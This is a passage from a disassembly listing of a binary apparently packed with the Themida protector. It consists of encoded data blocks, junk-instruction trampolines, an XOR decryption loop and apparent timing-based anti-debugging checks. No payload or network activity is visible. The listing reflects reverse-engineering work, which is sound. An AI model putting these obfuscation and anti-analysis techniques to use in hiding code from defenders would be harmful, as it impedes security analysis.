820E47D8h, 3410BB49h dd 36C27B0Ch, 30417A9Eh, 0CE6A0C72h, 0ACE58B7Ah, 0A79DCF72h dd 0D7C26Fh, 0D7CF0000h, 5BD4D241h, 1694CD71h, 259B26D9h dd 84470E1h, 246CD6F5h, 761486ECh, 1EE82CE5h, 0C3999154h dd 96E1D2DDh, 75B9225Bh, 0E125DE8Ah, 1D794A1Eh, 2A2CD1CEh dd 0D03035CAh, 0C346099Ah, 2DC19327h, 4C85162Ah, 0CC3488CBh dd 4902669Bh, 7DBE7708h, 69FF0044h, 9394ACB0h, 0F1DB34D0h dd 0CA5E3410h, 0D2A33436h, 76C83B8Fh, 41F246DAh, 0A738C930h dd 78ECC56Fh, 0C801CC37h, 0E8ABACC4h, 28AB534Ch, 4205963Ah dd 0AE5718EEh, 37C809C2h, 0BEB45266h, 0BBC0E8F5h, 0FC4AC5E0h dd 222h, 83541EEEh, 6D7936Fh, 8B5C0EF2h, 0DDE8A77h, 94650DF9h dd 19ED5A7Fh, 8F748859h, 9FC10E1h, 7D829667h, 73B81AEBh dd 465743D7h, 1868C630h, 74452DD9h, 0F8C99F60h, 0A956AAAAh dd 2C506BFh, 2CF9D266h, 83BC4D2Ah, 0A366677Fh, 0D06505ABh dd 398DFFh, 0D4B8F18Dh, 29BD3410h, 98D992D6h, 2AC24E07h dd 0FE3041A9h, 69A36B9h, 983041A9h, 7480167h, 69AD364h dd 0A945C860h, 3041A915h, 94CE0798h, 6FA7CBF1h, 0FBE4h dd 26D9E600h, 0C1458942h, 0FB3F7A0Ah, 0BCC8C78Dh, 8B604D52h dd 0FFB849DAh, 2C412473h, 0E682052Ah, 2A2D3852h, 0A4CC39CDh dd 0E019AAEBh, 0FF02639Ch, 0DE6FB069h, 6206F90Dh, 0BBB336A9h dd 0EE898DC6h, 0B4482429h, 372A2D09h, 7B0C5CA3h, 25263E42h dd 3BCF6A62h, 21CA189Eh, 90D18ADEh, 0B753C6FFh, 3411245Eh dd 0D8906FC3h, 0BB4ADE1Fh, 82BBFCB5h, 0F9CD9E2Fh, 9A1DE0E1h dd 0C3E77B17h, 0D1623041h, 41C361F5h, 884BDC30h, 41C358ECh dd 942D330h, 7F20FA96h, 92233A28h, 0E48B7BCFh, 4E924B1Dh dd 0BCFDB6B4h, 0B5C99A2Bh, 86E41E51h, 0F3052CF5h, 0F36EE0BBh dd 0DDA5h, 99D93300h, 1C4EB4C8h, 0A1C9374Bh, 2345BCD0h dd 0AAC83E52h, 321FC4D9h, 0B9CD9ED4h, 4155264Ah, 0C7DBACC4h dd 0FD5F3038h, 57881CB8h, 0A5033046h, 452DD955h, 0C99F6074h dd 9632B5F8h, 2A2CFA02h, 35B3EC7Dh, 7F4226D9h, 0F9CC60FCh dd 0AFBA2A2Ch, 0A92F5E54h, 2059EA8Dh, 0DC8C73B7h, 8E74C80Bh dd 0D27A0EAAh, 64F52A2Dh, 7E969AD3h, 3F37BA7Dh, 91009E6Dh dd 0C6528B05h, 3415872Bh, 0C436968Eh, 336BFF03h, 1A532BD9h dd 397D36C7h, 0BDD1A2C6h, 0E16D2642h, 0A845ABCDh, 76B2B408h dd 548DE322h, 0A879EF10h, 44FD6B94h, 0AE670100h, 61F67086h dd 0B6F9CA9Eh, 91CAA062h, 0FDB6B24Dh, 1DAFh, 0CB67EA00h dd 0A8462837h, 978CFC1Dh, 0F396D49Ch, 0ABAB2962h, 45602E26h dd 0E0BA4A15h, 33D929A7h, 0BD42863Fh, 57AEF2ABh, 0E71C6019h dd 7A8CD089h, 0BFB3FF8h, 976AAE67h, 2CD418D1h, 0C141853Eh dd 68EAF0A9h, 92Dh, 50243C89h, 405E089h, 2D000000h, 4 dd 5C240487h, 51242C89h, 0C181E189h, 4, 4E981h, 0C870000h dd 3C895C24h, 2ABC6824h, 3C890000h, 50D6BF24h, 0FD890619h dd 4EC835Fh, 81242489h, 42404h, 535F0000h, 0B850EB89h dd 8, 1889F801h, 3C8B5B58h, 0E2895224h, 4C281h, 0C2830000h dd 24148704h, 2434FF5Ch, 4C4835Dh, 0FBE6EDE9h, 28758BFFh dd 0C9D18EEEh, 38530E1Eh ; --------------------------------------------------------------------------- loc_59EBC4: ; CODE XREF: sub_59DB3D:loc_59DC56j mov eax, 6195F5Ch add eax, ebp jmp eax sub_59DB3D endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 81h, 39h, 0F7h dd 0E6BBA772h, 91A36D03h, 6B99F959h, 968D8D16h, 0F061960h dd 28Bh, 89DE8B00h, 1432298Dh, 0F9952906h, 0C7061431h dd 14064D85h, 5E6C06h, 6830F00h, 8B000000h, 14039985h dd 7185C706h, 61426h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 98B5C356h, 458D899Ah dd 0FF061408h, 1402E1B5h, 299D8B06h, 0FF06142Dh, 14236195h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0CB7A8894h, 6AD466h, 116995FFh ; --------------------------------------------------------------------------- loc_59EC74: ; DATA XREF: Themida_:00549424o adc al, 6 mov eax, eax jmp short loc_59EC97 ; --------------------------------------------------------------------------- dw 0F0B2h dd 1BB87043h, 0F4451808h, 3B23E42Fh, 6EB95786h, 3326C5Fh dd 74C2375Dh db 0A3h, 39h, 71h ; --------------------------------------------------------------------------- loc_59EC97: ; CODE XREF: Themida_:0059EC78j jmp loc_59EE2A ; --------------------------------------------------------------------------- push 0 push esi call sub_59ECA7 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59ECA7 proc near ; CODE XREF: Themida_:0059EC9Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_59ECA7 endp ; --------------------------------------------------------------------------- db 40h dd 0A7FDD57Bh, 0F80CA3D9h, 6174B58Dh, 8C0F0619h, 1, 12858DF5h dd 0F06174Ch, 108Ch, 5E96000h, 0D0000000h, 38F88672h, 0FCE4BF66h dd 6AD0FF61h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 1929C350h, 0E94D6B3Ah, 830F64F7h dd 13h, 0E95F5160h, 0Ah, 0CE4A5836h, 0E5FA750Dh, 0FC6104DCh dd 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 7280E7EFh, 7A6E1AD6h, 66DD8A60h, 6661C28Bh dd 880FD98Ch, 0Bh, 6E9h, 5C3B8100h, 60144F50h, 8E9h, 0A2D7BB00h dd 0E76833E1h, 80BF6663h, 0C1F661AAh, 60840F04h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0B8ADC351h, 5830Fh, 66600000h, 8B61CB8Bh dd 32CB8BFBh, 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h dd 3F20CD00h, 0B000101h, 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh dd 0FA75490Ah, 1B8h, 8B09EB00h, 0B8E4EB00h, 0 dd 13E9CFh, 1550000h, 6AA34FB5h, 0B750342Ah, 7072DACh dd 647B8181h, 815160FDh, 23617C1h, 820F5A35h, 19h, 13E8h dd 13782900h, 40719D45h, 0F9B438B5h, 0BEFDC2F6h, 0C65C1114h ; --------------------------------------------------------------------------- pop edi popa loc_59EE2A: ; CODE XREF: Themida_:loc_59EC97j mov dword ptr [ebp+61961E4h], 1013Fh call near ptr loc_59EE46+3 mov dword ptr [eax], 0D61F80EAh lodsd dec ebx mov dl, 46h xchg eax, ecx test al, 0FCh loc_59EE46: ; CODE XREF: Themida_:0059EE34p or eax, 0B70F524Bh leave pop eax adc ebx, 256BB59Ah add eax, 5F62h pusha jmp loc_59EE73 ; --------------------------------------------------------------------------- db 40h dd 3E03A5A3h, 0B6E9EAF3h, 90EEF2CBh, 251F2509h ; --------------------------------------------------------------------------- push ebp mov dh, 0AFh loc_59EE73: ; CODE XREF: Themida_:0059EE5Aj call sub_59EE86 ; --------------------------------------------------------------------------- dd 0B8C8C1C4h, 10616303h, 0DCF414F3h ; --------------------------------------------------------------------------- test ebp, ecx ; =============== S U B R O U T I N E ======================================= sub_59EE86 proc near ; CODE XREF: Themida_:loc_59EE73p pusha popa pop ecx popa xor edi, edi pusha jbe loc_59EE95 pusha popa loc_59EE95: ; CODE XREF: sub_59EE86+7j stc popa loc_59EE97: ; CODE XREF: sub_59EE86+6Aj mov edx, [eax+edi] xor edx, 458E5E70h stc xor edx, 4174D55Ch pusha push ecx jb $+6 pop edx cmc popa xor edx, 4A58BA77h jge loc_59EEBF cmc loc_59EEBF: ; CODE XREF: sub_59EE86+32j mov [eax+edi], edx jmp loc_59EEDB ; --------------------------------------------------------------------------- db 0Bh dd 0EF26CDBFh, 81146E4Ch, 20208290h, 0F87471Eh db 4Dh, 0C5h, 0D9h ; --------------------------------------------------------------------------- loc_59EEDB: ; CODE XREF: sub_59EE86+3Cj stc sub edi, 4E7454ABh add edi, 4E7454A7h mov cl, 0D4h cmp edi, 0FFFFA168h jnz loc_59EE97 jmp loc_59EF07 ; --------------------------------------------------------------------------- db 0F2h dd 0C23A0662h, 0C6E15F99h db 0B5h, 6Eh, 0E3h ; --------------------------------------------------------------------------- loc_59EF07: ; CODE XREF: sub_59EE86+70j jmp short loc_59EF69 ; --------------------------------------------------------------------------- align 4 dd 17h dup(0) db 0 ; --------------------------------------------------------------------------- loc_59EF69: ; CODE XREF: sub_59EE86:loc_59EF07j jmp loc_59FAD4 ; --------------------------------------------------------------------------- jmp loc_59FACD ; --------------------------------------------------------------------------- push 6196B4Eh jmp loc_5509FF ; --------------------------------------------------------------------------- push 6196CC8h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6196D36h jmp loc_5509FF ; --------------------------------------------------------------------------- db 0C4h, 18h, 0A7h dd 625B7855h, 1C9F3310h, 0D1E8EDCAh, 8835A27Fh, 0F5BBFD36h dd 0AC89DBE2h, 65429425h, 1DFA4C73h, 0A4B002B9h, 4B30161Ch dd 4944580Bh, 0FABF12E2h, 0FDD4DF4Eh, 498D6ABCh, 1FB9C672h dd 24ECF4A0h, 0F1E8381Eh, 646F4C51h, 8792C159h, 0EB1DBA4Ah dd 8B37CFEAh, 0E2EF9B33h, 0FDC013F5h, 0FF9728B0h, 2C914653h dd 57627380h, 2D6A3ABh, 4F838EBDh, 20B3C06Ch, 77E5F19Dh dd 20B27FC7h, 32874E9Bh, 0F9FF2E86h, 0E84AE3F3h, 0DB234B57h dd 4B270D13h, 133B580Bh, 0C211DEE4h, 63CDA9FBh, 4EE6D3FEh dd 64713E06h, 0E8E22655h, 14580B4Ah, 0A33340ECh, 170DC618h dd 84308D4Ah, 0E4F2FD2Ch, 0ABB3AED7h, 16C2F7DEh, 56EECD09h dd 0AB134027h, 540DD2FBh, 63494F17h, 7751F1E8h, 0C1B4204Fh dd 5D01EDE5h, 52h, 6F508855h, 0D908B522h, 0FBAB13F2h, 2B1117D2h dd 3F51F1E8h, 107CF17h, 51F1E81Bh, 0F1D8072Fh, 54824F17h dd 17513867h, 433884Ah, 9BE3DAF9h, 5C715C4h, 0F20019FFh dd 0AE052D51h, 4D7CE824h, 17691066h, 0B8F12F40h, 52817721h dd 2F46h, 0AB139D00h, 1117D2FBh, 51F1E82Bh, 649A3954h dd 5E9079BFh, 2AE4697h, 17E912AAh, 0FCC1126Eh, 0E6ECB4h dd 1451F1E8h, 86399FECh, 69107057h, 11674017h, 45F1CE0Ah dd 61E896EDh, 61CFD908h, 0B06F75BDh, 6657E61Bh, 6A4C923Eh dd 755806FBh, 0C99C3753h, 35F8D8DEh, 1E7h, 3EA9134Ch, 8039C7Eh dd 0B80098D0h, 0F276B4B2h, 39996651h, 4F7ED682h, 0EFF7A3CBh dd 0AA4C4918h, 53829E66h, 777D8E48h, 51F23C91h, 93E57DA5h dd 0D8E5EEBBh, 4F17C2A9h, 0F1E86349h, 204F7751h, 0D1FAC115h dd 4A17CAB3h, 0E0E62E8Bh, 51F1E7FAh, 0ADB7E60Eh, 0D6C9545h dd 0E5C4B154h, 0E3BA01EDh, 0E7560677h, 0E64C7B7Eh, 49h dd 2A1016DEh, 3E54F1FDh, 1300E716h, 0E6B3FBABh, 0B59CCBF0h dd 0E82B1117h, 173F51F1h, 874F17EEh, 0F1E79B81h, 3A87AF51h dd 1E762297h, 0C11208EFh, 4A17D3FCh, 7B832F8Ch, 0F1E78F75h dd 0E37BA351h, 1100A7B4h, 22h, 0FBAB1368h, 824F17D2h, 0F4386754h dd 51F1E80Eh, 17A8D137h, 0FCC1126Eh, 8B4A17D3h, 0FB2A822Eh dd 401747EEh, 391BA64Ah, 5448F8F7h, 3D42A3A9h, 26C76A5h dd 95410E56h, 29F1F726h, 9945765Ch, 0DE76478Ch, 4B7A4191h dd 0F28A1507h, 6D194151h, 45907660h, 0D18ADC74h, 63494F17h dd 7751F1E8h, 0A8AF84Fh, 1E5C7E6Bh, 19F2E4EFh, 0F2142D13h dd 0D95A4151h, 0BEC19A79h, 88B149E1h, 4017CAB3h, 9F4543BCh dd 0A0DA310Bh, 727081FAh, 0AF172150h, 4017D6FFh, 6B05207Ch dd 74459050h, 0A9D870C8h, 0C4B1E099h, 0BA01EDE5h, 29D5E4EDh dd 20167AD1h, 0BAF62AD3h, 3E258Bh, 173C0000h, 8632874Ah dd 0FAE0E62Eh, 0E51F1E7h, 45ADB7E6h, 11176C95h, 51F1E82Bh dd 17EE173Fh, 3DC1126Eh, 3CD1F530h, 0CC14AC68h, 3626D8FFh dd 80690B27h, 9980AF47h, 36116910h, 68000000h, 8AEA4017h dd 8FE8117Bh, 89EE5660h, 0AB26734Ah, 174D760Eh, 0E863494Fh dd 4F7751F1h, 2E141A20h, 5751F1E8h, 6E17C8F1h, 0D3FCC112h dd 2F8C4A17h, 0EFFC2B83h, 911148h, 13680000h, 0AFB5FDA9h dd 51F1E7B1h, 7E3B9663h, 0C74B7AD2h, 0F0E6F39Fh, 12C079CBh dd 0B3CEF7C4h, 0FBAB13CAh, 0B1540DD2h, 1EDE5C4h, 0D7E6EDBAh dd 3EA4D32Bh, 26h, 0FBAB1355h, 884A17D2h, 0F8FE0433h, 51F1E812h dd 17D5FE26h, 0FCC1126Eh, 874A17D3h, 4FF60332h, 3611h dd 0AB136800h, 4A17D2FBh, 2E863287h, 0DF3F9FFh, 3651F1E8h dd 6E17A7D0h, 7F8C4A17h, 0F1E79379h, 0E77FA751h, 0A9B4E33Bh dd 106A932Ah, 967C824Ah, 0AA51F1E7h, 126C5382h, 3E4BF7C4h dd 0F6D3259Ah, 0E92FDBE0h, 51F1E805h, 4EE6A446h, 14EB3388h dd 8797AA56h, 0DEEE1D38h, 3AE6D501h, 0F68E51ECh, 0DF0EAD29h dd 9F37CD8Dh, 80EECA1Ch, 6D05B81Bh, 25601F25h, 0C79457E5h dd 0E1DCF70Fh, 1645DD35h, 78BE6A92h, 58060496h, 0FD03CBA1h dd 58060517h, 82D4032Bh, 0D49ACBC0h, 3B64F8D9h, 5C000000h dd 0CA76498Fh, 175C4372h, 0E863494Fh, 0E1F051F1h, 0BBEA12D8h dd 0F1E026B0h, 7C8430C8h, 15753CA5h, 2453255Dh, 0F2E3FAE0h dd 12E93F51h, 3ADB040Eh, 398BBA3Ah, 0C8F3E319h, 0C412BD76h dd 0BFD8AFF7h, 0D3377825h, 0CAD6406Fh, 8EEF55Ch, 61678003h dd 38A4EEC5h, 9830C804h, 6C4F8350h, 0CD31373Dh, 0DD57E926h dd 198763B5h, 0DCDDF8C5h, 0C287056h, 30A78458h, 0F189E18Dh dd 72491159h, 6F1E11CDh, 4473A1h, 5DFF5D41h, 0DD23CFF7h dd 5E203CFBh, 2DA6E406h, 0F2BF9D38h, 72585E26h, 865E2049h dd 4AC92F5Eh, 0E0000000h, 0B5FDA913h, 0F1E7B9AFh, 806ED51h dd 0D7E2F3DAh, 27CD32Bh, 649E3B3h, 28D28818h, 0E3B0F890h dd 9298C7F2h, 0F8FE0DC5h, 51F27912h, 1E66FE26h, 2736347h dd 4776E02Ah, 365937h, 0C9910000h, 0F2E6DDC3h, 9AC9F151h dd 0FDA913B3h, 0E7BDAFB5h, 0CE951F1h, 0F24AF6C7h, 0D53B125Ah dd 8AC19410h, 7C3D94E1h, 587A474Dh, 4441B63h, 91CEE5BEh dd 6A233362h, 14711h, 5A7C4900h, 0EA9627ACh, 0E4CBFA92h dd 0B4FCAA13h, 0E800E6ECh, 0EC1451F1h, 0CAB3D6BDh, 0AFF7C412h dd 33191FE7h, 4751F1E8h, 0E7B3991Fh, 3F4551F1h, 51F1E859h dd 0A27F456Dh, 87DF8B30h, 194298EFh, 0ACCC1CA3h, 540D967Dh dd 0EDE5C4B1h, 295A01h, 17710000h, 2318E4Ah, 0B6DF8FF8h dd 0E82B1117h, 0F0BD51F1h, 0EAF24E2h, 9BC34776h, 126E1772h dd 10D2FBC0h, 3B1169h, 13680000h, 17D3FCAAh, 0E863494Fh dd 0E7F051F1h, 323810D6h, 51F1E84Ch, 71A03860h, 0E87F656Bh dd 42A851F1h, 784F1719h, 0C65BB69Ah, 50376636h, 753CC012h dd 0B617F6EFh, 10CAF38Bh, 42C41269h, 67902895h, 0AB13CAB3h dd 540DD2FBh, 0EDE5C4B1h, 215A01h, 13710000h, 17D2FBABh dd 6C51824Fh, 0E813F93Dh, 0FF2751F1h, 126E17D6h, 10D3FCC1h dd 341169h, 13680000h, 0E6B3FBABh, 0C71FCBF0h, 1117B198h dd 51F1E82Bh, 239A3954h, 757B438Bh, 51F1E78Fh, 654C7BA3h dd 50824F17h, 12553C6Bh, 318C47C1h, 6C952D85h, 4A176910h dd 0F9043388h, 442A30DFh, 5851F1E8h, 0FCE2E830h, 1051F1E7h dd 5EA450E8h, 51F1E87Bh, 0BA7210E2h, 964FA11Eh, 4DF9C612h dd 554D6E45h, 0AA263696h, 5768707Bh, 20C3380Fh, 0D33972A4h dd 0F44B66DDh, 95C427E4h, 6B31E2Bh, 78864D5Ah, 0A93D33A4h dd 0B35FF7E6h, 1B9EBC5Eh, 0AF450569h, 2E449629h, 51F20F0Bh dd 26B27FC7h, 68FE6A99h, 98FEECE5h, 0FFFFFE74h, 0E7F7D9AFh dd 0E14351F1h, 2D51F1E7h, 51F1E948h, 0F5C80BD8h, 553B4149h dd 6951F1E9h, 367AA941h, 51F1E954h, 0F1E8BEA0h, 0E9280A51h dd 40AE91F1h, 7A424890h, 4217E6E3h, 40AD21Ah, 1808E31Eh dd 7A424B32h, 7FD96123h, 464EB8E7h, 0AAB05F79h, 18089DC4h dd 6C18B0D8h, 6DDBE514h, 107379C1h, 1E1DFCA3h, 9A8C18F6h dd 0C7B17893h, 2ECB9h, 437C6000h, 0FEBF14F1h, 0B803CFACh dd 6D4C8966h, 24993E1Bh, 911F99D2h, 48257746h, 1DE3089h dd 0B996E8D7h, 404C9E1Dh, 52CCB2B8h, 0E5E0580Bh, 8B4A177Eh dd 0E2F4FF2Eh, 0E83D2329h, 295151F1h, 29C1FADCh, 2D1319E1h dd 0B051F1E8h, 324FCA96h, 0FECB279h, 0F54DF9C4h, 0B8C42E5Dh dd 585EA64Ah, 57E8D0F8h, 7086D800h dd 580BD18Eh, 0B9DA4118h, 0A3280DA7h, 54FC6A74h, 6753350Ch dd 12D38E0Eh, 7FAE0DC5h, 93DAB179h, 0CC2E5049h, 516869B6h dd 65C2DE22h, 0A325E01h, 0AA2DFAC2h, 7D5A6713h, 6E79A840h dd 24015368h, 0F4C109B2h, 0ED8B1AE2h, 8EEDF668h, 0C3F24AF6h dd 6A191359h, 51BF5E24h, 0E75F65ADh, 0F641ACEh, 0D1D79FE7h dd 643DCDEBh, 0A2A8D7FFh, 72BA01D5h, 5D8C33A5h, 0A066704Dh dd 45338A33h, 0A40C2452h, 4C58049Ch, 13EA32DEh, 487124B0h dd 2329585Eh, 337FB91Dh, 59A1C96Ah, 26A4C582h, 216E3852h dd 6DD706B5h, 34BF361h, 0EE1DA236h, 61D2E2E8h, 0E1B8704Ch dd 0EB7F3DA2h, 0AA62B96Ch, 278977F4h, 4C74F827h, 1C9F3704h dd 22E9EDCAh, 6FA7361Ch, 8A224A70h, 0C0B698DEh, 7840706Eh dd 6FC08C72h, 4978A070h, 0B6ED13Fh, 0E829D87Ah, 4DF9C214h dd 7DC55DF5h, 66421777h, 4BF71F76h, 0E52DD13Fh, 7C6D9CDFh dd 64426A7Ch, 1A12F04Ah, 720F1D07h, 0DA000001h, 8E6BBD02h dd 49267845h, 3E03289h, 0B895E7D2h, 134C9E1Fh, 0F1CC0BA5h dd 0AA0FC29Fh, 625D7B58h, 18A33310h, 2C32BAC6h, 580B5446h dd 13F85F5Ah, 2C8D44A5h, 0DAE02880h, 51F1E7F4h, 48E008h dd 15E46138h, 45CACC5h, 5E3191D5h, 113957E8h, 43EB5965h dd 0AE92F5FBh, 0C3A05DFEh, 0A4FCA813h, 0AE8A2E0Ch, 0F1DB3890h dd 104E3h, 2B944800h, 0E6D7FCD9h, 0A01BB794h, 5564714Eh dd 0CB12603h, 793781BAh, 300D5F5Eh, 0E9C618A1h, 0A17ED0EFh dd 28348635h, 54B49AA0h, 0CDC8580Bh, 0F9A51366h, 0B51CE9B1h dd 1991D504h, 4157E84Ch, 76606D19h, 0C016F345h, 0D5434FFBh dd 0BFDBE129h, 2F5E01ADh, 0F5E8BF07h, 2C2ACEA9h, 9A7787B6h dd 6F3C8439h, 14245366h, 886E743Ch, 9C5E24E3h, 0E3D8BEC4h dd 0C4EC5E24h, 0E0F2FD2Ch, 29AC89DBh, 5B7B4890h, 0F9C41360h dd 0B6C6F54Dh, 6DBFFED9h, 4CB74790h, 0F788254Fh, 118C7278h dd 78A05E24h, 330048E0h, 18701C9Fh, 0D5FCD9E9h, 23B592E4h dd 1200E6ECh, 10835E24h, 9150F1A1h, 29AD8A50h, 1062FA92h dd 0C618A333h, 0B61CE8E9h, 0E6AB0D46h, 0C961ECC1h, 0E52DC51Dh dd 5400B918h, 0E1BDCDFCh, 0BB83CB73h, 0A8D7E4EEh, 1A4F4864h dd 0E490B864h, 6ABCFFD7h, 0C8Ch, 5EE4E300h, 4B39AA87h dd 0A7D68A76h, 0F5CA12C0h, 219A3C49h, 4F706875h, 7E3B96A3h dd 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h dd 126833B8h, 54000056h, 8324048Fh, 56042404h, 0C681E689h dd 4, 4EE81h, 34870000h, 14895C24h, 6506824h, 34890000h dd 6DBE5624h, 0BA695B0Bh, 20BE78D1h, 815EF231h, 0CC100AEAh dd 762B6843h, 24890000h, 24048124h, 4, 2C81525Eh, 0E8223424h dd 8468F47h, 34084681h, 8B47E822h, 89512434h, 4C181E1h dd 81000000h, 4C1h, 240C8700h, 2434FF5Ch, 4C4815Ah, 0E9000000h dd 0FFFB0F3Bh, 0EB02EB2Bh, 18E944FBh db 6Ch ; --------------------------------------------------------------------------- loc_59FACD: ; CODE XREF: sub_59EE86+E8j mov eax, 6196E5Fh add eax, ebp loc_59FAD4: ; CODE XREF: sub_59EE86:loc_59EF69j mov eax, ebx lea ecx, [ebp+6196FF3h] push 0 push esi call sub_59FAE7 and [esi-3Dh], bl sub_59EE86 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_59FAE7 proc near ; CODE XREF: sub_59EE86+C59p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_59FAE7 endp ; --------------------------------------------------------------------------- push esi fsubp st(2), st xchg eax, esi fidiv dword ptr [ecx+edx*2-75h] fstp dword ptr [eax-77h] test [ebp+5], ecx adc al, 6 mov [ebp+6143229h], ecx push 0 push edx call sub_59FB18 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59FB18 proc near ; CODE XREF: Themida_:0059FB10p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_59FB18 endp ; --------------------------------------------------------------------------- dd 0B589C7EFh, 61416B5h, 64D85C7h, 68A80614h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0D4DC7C3h, 0DA282172h, 5E8h, 8DAE5E00h, 9D8B1306h, 6141039h dd 7185C75Fh, 61426h, 0B000000h, 140909B5h, 49B5FF06h dd 0E906140Dh, 8, 0E4DCE8Ah, 216A6840h, 236195FFh, 6A0614h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 60914EC3h, 76675CC0h, 0E952F862h, 0Ah, 0EF22E261h, 0B75B66C8h dd 6A5B2651h, 6995FF00h, 8B061411h, 0DF49EBC0h, 3507BB53h dd 475AC8A3h, 2026003h, 0BF0FA95Ch, 2B017321h, 0EC4617C5h dd 2B736375h, 8391435Fh, 6A9457BBh, 6548AD95h, 0F9F901B1h dd 0ED7F1A41h, 9B03F0F2h, 63739BDBh, 625F44D1h, 28D3BF71h dd 0AED0ACACh, 5F292FAFh, 13CE9h, 4Fh dup(0) dd 79BD8300h, 106141Dh, 489840Fh, 840F0000h, 0Fh, 0AE9h dd 7921C500h, 976B14A8h, 0C6D9DAEDh, 141A5985h, 0E9604306h dd 9, 0FD6126A7h, 450C55DBh, 0CE8F0h, 0BF3E0000h, 0AE858BC6h dd 3A5E444Ah, 59F82AEAh, 64C46861h, 6E9C85Eh, 27000000h dd 0FB3EBBBCh, 24048129h, 24476C31h, 0D1B5FFFCh, 0F06141Ah dd 789h, 18B0F00h, 0F5000000h, 80DB858Dh, 0FFF80617h, 138C0FD0h dd 60000000h, 0AE8F5h, 13630000h, 0EA76FF86h, 29768C7Eh dd 85896159h, 6141A85h, 5985C6F5h, 5006141Ah, 4E8F5h, 0AD560000h dd 820FA8ADh, 0Eh, 61605250h, 5250310Fh, 585A310Fh, 6050585Ah dd 1B9581BBh, 0F87BB4Ch, 8B615E1Eh, 60042444h, 60DF8B66h dd 0BF669BB3h, 6161BABCh, 0E960008Bh, 0Eh, 92327535h, 46F76BB4h dd 4C80C1CCh, 89619FA9h, 60042444h, 84A84DBEh, 61CF8A67h dd 81666058h, 0E93512C6h, 7, 0FA4F9659h, 61871517h, 1AD1B5FFh dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 183FCEC3h, 858D0DF2h, 61780DBh, 0FE9h, 839E2600h dd 33683F5Eh, 0C973E9A1h, 50C58AB8h, 870FD0FFh, 0Ch, 7E9h dd 37F2EA00h, 9D4F4F91h, 3C98589h, 68F50614h, 0CC5B6369h dd 0F17B660h, 1682h, 11E900h, 412C0000h, 6491CA57h, 0AE2369A3h dd 4CE839B8h, 611F4411h, 46243481h, 6A3CD4CBh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 56D5C353h, 1A54A054h, 0E91D6F94h, 10h, 64EA1419h, 5FCEAC82h dd 0F7EF570Ch, 88C1849Ah, 1AD1B5FFh, 60600614h, 61D6BF0Fh dd 2870Fh, 0FA8B0000h, 0DB858D61h, 0F8061780h, 860FD0FFh dd 15h, 0F8A0Fh, 0AE90000h, 54000000h, 8E257A9h, 667C2C59h dd 958589C7h, 0F06141Bh, 78Ah, 18B0F00h, 0FC000000h, 1A5985C6h dd 60500614h, 0E932C580h, 0Eh, 0A30378B9h, 0A744D9FEh dd 3485C9B6h, 0E8615C25h, 4, 979CDC56h, 12E860h, 214A0000h dd 0A73BE290h, 265962F7h, 72D2F3h, 8819F784h, 8D0Fh, 0B95B0000h dd 410094D3h, 810F5061h, 16h, 11E9h, 838CA100h, 1BA6E3C4h dd 0CFC0696Eh, 7F2C02B2h, 448BFBCFh, 880F0424h, 0Eh, 61605250h dd 5250310Fh, 585A310Fh, 8B585Ah, 128E0Fh, 52500000h, 5E9h dd 16D6C600h, 310FF928h, 585A6160h, 4244489h, 615FBB60h dd 8B662172h, 6A5861F8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0E6E8C355h, 0F987A1A9h dd 0AD7AB257h, 1145B5FFh, 8DF90614h, 143B1385h, 9E906h dd 6CF50000h, 833A0180h, 0FF401FDAh, 820FF9D0h, 1, 0A98589F5h dd 0F9061430h, 16EE9h, 0CE900h, 48BD0000h, 0D8AE0395h dd 4A34B445h, 6050D402h, 0ABD4B866h, 242C8961h, 0C820Fh dd 840F0000h, 6, 880Fh, 0EC8B0000h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0C7C35747h, 6016051Ah, 0FCC48361h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9BC35242h dd 0E9FCF3BAh, 6, 3906036Dh, 0F960693Eh, 0E8h, 0EA815A00h dd 619752Eh, 0FC45C7h, 83000000h, 141D79BAh, 840F0106h dd 98h, 6A006A52h, 8592FF0Fh, 5A06141Ah, 70468289h, 9A8D0619h dd 619704Ah, 2803C752h, 53000001h, 0C992FF50h, 5A061403h dd 4A9A8D52h, 53061970h, 7046B2FFh, 92FF0619h, 61430A9h dd 74C00B5Ah, 4A9A8D50h, 8D061970h, 0C933247Bh, 104F981h dd 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h, 0C752B39h dd 3231BA8Dh, 4D8B0614h, 32A4F30Ch, 0FF52AAC0h, 828D0875h dd 6143231h, 9592FF50h, 5A06141Bh, 0A075C00Bh, 1FC45C7h dd 0EB000000h, 0FC45C707h, 0 ; --------------------------------------------------------------------------- popa mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- push 0 push esi call sub_5A01D3 and [esi-3Dh], bl ; =============== S U B R O U T I 